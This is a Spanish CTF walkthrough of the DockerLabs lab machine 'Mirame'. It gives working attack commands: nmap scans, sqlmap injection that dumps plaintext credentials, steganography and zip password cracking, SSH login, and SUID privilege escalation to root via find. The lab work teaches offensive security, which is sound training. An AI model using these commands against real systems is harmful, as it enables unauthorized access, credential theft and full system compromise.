> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/mirame.md).

# Mirame

### **Despliegue de la Máquina:**

#### **1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Mirame** y pulsamos el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **2. Descompresión:**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `mirame.zip`:

```bash
7z x mirame.zip
```

<figure><img src="/files/TOettapChp5Si58mPqLG" alt=""><figcaption></figcaption></figure>

#### **3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `mirame.tar`:

```bash
bash auto_deploy.sh mirame.tar
```

<figure><img src="/files/2cGPptPxOhYfJIJgu2bY" alt=""><figcaption></figcaption></figure>

***

### **Reconocimiento:**

#### **1. Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/ZGIeBHqdFEPm5AGIWHg5" alt=""><figcaption></figcaption></figure>

#### **2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.

**Puertos abiertos identificados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/cS8zpzzYw5D27fHMsICp" alt=""><figcaption></figcaption></figure>

#### **3. Escaneo Detallado:**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p22,80`: Especifica los puertos a escanear.
* `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultados del escaneo:**

* **Puerto 22:** `OpenSSH 9.2p1`.
* **Puerto 80:** `Apache httpd 2.4.61`.

<figure><img src="/files/QcApEEdu8qgU3ZOkA2AM" alt=""><figcaption></figcaption></figure>

#### **4. Acceso al Servicio Web:**

Accedemos al puerto 80 a través del navegador (`http://172.17.0.2`) para inspeccionar el servicio HTTP.

Observamos un panel de inicio de sesión. Al no tener credenciales, procedemos a probar vulnerabilidades como inyección SQL.

<figure><img src="/files/yE086EAH9FlWCwjvurer" alt=""><figcaption></figcaption></figure>

***

### **Explotación:**

#### **1. Inyección SQL con SQLMap:**

Utilizamos `sqlmap` para probar si el panel de inicio de sesión es vulnerable a inyección SQL:

```bash
sqlmap -u http://172.17.0.2/ --dbs --batch --forms
```

**Explicación de los parámetros:**

* `-u`: URL objetivo.
* `--dbs`: Enumera las bases de datos disponibles.
* `--batch`: Ejecuta en modo automático sin interacción.
* `--forms`: Analiza y prueba formularios HTML.

**Bases de datos encontradas:**

* `information_schema`.
* `users`.

<figure><img src="/files/9OwohUy3m40aSgNPJ4f5" alt=""><figcaption></figcaption></figure>

#### **2. Enumeración de Tablas:**

Enumeramos las tablas de la base de datos `users`:

```bash
sqlmap -u http://172.17.0.2/ --batch --forms -D users --tables
```

**Explicación de parámetros:**

* `-D users`: Especifica la base de datos.
* `--tables`: Enumera las tablas.

**Tabla encontrada:** `usuarios`.

<figure><img src="/files/3Etz4acBGcHRoWk0Hdej" alt=""><figcaption></figcaption></figure>

#### **3. Extracción de Datos:**

Extraemos los datos de la tabla `usuarios`:

```bash
sqlmap -u http://172.17.0.2/ --batch --forms -D users -T usuarios --dump
```

**Explicación de parámetros:**

* `-T usuarios`: Especifica la tabla.
* `--dump`: Extrae los datos.

**Datos obtenidos:**

| **id** |      **password**      | **username** |
| :----: | :--------------------: | :----------: |
|    1   | chocolateadministrador |     admin    |
|    2   |          lucas         |     lucas    |
|    3   |      soyagustin123     |    agustin   |
|    4   |   directoriotravieso   |  directorio  |

<figure><img src="/files/wV9aiKjqKNHw5DahAJ7s" alt=""><figcaption></figcaption></figure>

#### **4. Análisis de Credenciales:**

Probamos las credenciales en el servicio SSH, pero no son válidas. Sin embargo, la contraseña `directoriotravieso` sugiere la existencia de un directorio oculto.

Accedemos al directorio en el navegador (`http://172.17.0.2/directoriotravieso/`).

Encontramos una imagen llamada `miramebien.jpg`.

<figure><img src="/files/jWZraddklbJaWeYWcx8X" alt=""><figcaption></figcaption></figure>

#### **5. Descarga y Análisis de la Imagen:**

Descargamos la imagen:

```bash
wget http://172.17.0.2/directoriotravieso/miramebien.jpg
```

<figure><img src="/files/xidmxUbQFsH50SMSUdMX" alt=""><figcaption></figcaption></figure>

No encontramos información relevante en los metadatos, por lo que procedemos a usar `steghide` para buscar datos ocultos:

```bash
steghide info miramebien.jpg
```

La herramienta nos solicita una contraseña, que desconocemos.

<figure><img src="/files/FIIIEudQFoQTFic2Iiky" alt=""><figcaption></figcaption></figure>

#### **6. Fuerza Bruta con StegCracker:**

Utilizamos `stegcracker` para realizar un ataque de fuerza bruta con el diccionario `rockyou.txt`:

```bash
stegcracker miramebien.jpg /usr/share/wordlists/rockyou.txt
```

**Contraseña encontrada:** `chocolate`.

<figure><img src="/files/djZvvnPQ1Gx9JpPzyJFc" alt=""><figcaption></figcaption></figure>

#### **7. Extracción del Archivo Oculto:**

Volvemos a usar `steghide` con la contraseña encontrada (`chocolate`):

```bash
steghide info miramebien.jpg
```

**Detectamos un archivo oculto:** `ocultito.zip`.

<figure><img src="/files/aDETR3BE7fmeS89WWqPs" alt=""><figcaption></figcaption></figure>

Lo extraemos:

```bash
steghide extract -sf miramebien.jpg
```

<figure><img src="/files/BrCrSm2QGOCccyjquQ7G" alt=""><figcaption></figcaption></figure>

#### **8. Descompresión del Archivo ZIP:**

Intentamos descomprimir el archivo:

```bash
7z x ocultito.zip
```

Pero nos solicita una contraseña diferente a la anterior (`chocolate`).

<figure><img src="/files/DMgSdy1Ftib0YKyu7Uls" alt=""><figcaption></figcaption></figure>

Utilizamos `zip2john` para generar el hash del archivo comprimido:

```bash
zip2john ocultito.zip > hash
```

<figure><img src="/files/yLfyT0Q7NhHxR5SdwThU" alt=""><figcaption></figcaption></figure>

Utilizamos `john` para encontrar la contraseña de dicho hash:

```bash
john hash
```

**Contraseña encontrada:** `stupid1`.

<figure><img src="/files/wJSe3cZxvBPZnbWzGUJ0" alt=""><figcaption></figcaption></figure>

Descomprimimos el archivo:

```bash
7z x ocultito.zip
```

Contiene un archivo llamado `secret.txt`.

<figure><img src="/files/FaESSCYOOypnvcsDxG6b" alt=""><figcaption></figcaption></figure>

#### **9. Obtención de Credenciales SSH:**

Leemos el contenido de `secret.txt`:

```bash
cat secret.txt
```

**Credenciales encontradas:** `carlos:carlitos`.

<figure><img src="/files/2fm5Yc6cSya6M841xyIt" alt=""><figcaption></figcaption></figure>

#### **10. Acceso por SSH:**

Usamos las credenciales (`carlos:carlitos`) para acceder a la máquina:

```bash
ssh carlos@172.17.0.2
```

Confirmamos que estamos dentro como el usuario `carlos`.

<figure><img src="/files/mgbPnMW42Dwfjjg15VH6" alt=""><figcaption></figcaption></figure>

***

### **Escalada de Privilegios:**

#### **1. Búsqueda de Binarios SUID:**

Buscamos binarios con permisos SUID para escalar privilegios:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos el binario `/usr/bin/find`.

<figure><img src="/files/NfCk3NtFDrZHqCCAztKv" alt=""><figcaption></figcaption></figure>

#### **2. Escalada con GTFOBins:**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/find/) para explotar el binario `find`.

Ejecutamos el siguiente comando para escalar privilegios:

```bash
/usr/bin/find . -exec /bin/bash -p \; -quit
```

Confirmamos que ahora somos el usuario `root`, completando así la escalada de privilegios.

<figure><img src="/files/uyvHIlhoVYWZSclWLm39" alt=""><figcaption></figcaption></figure>
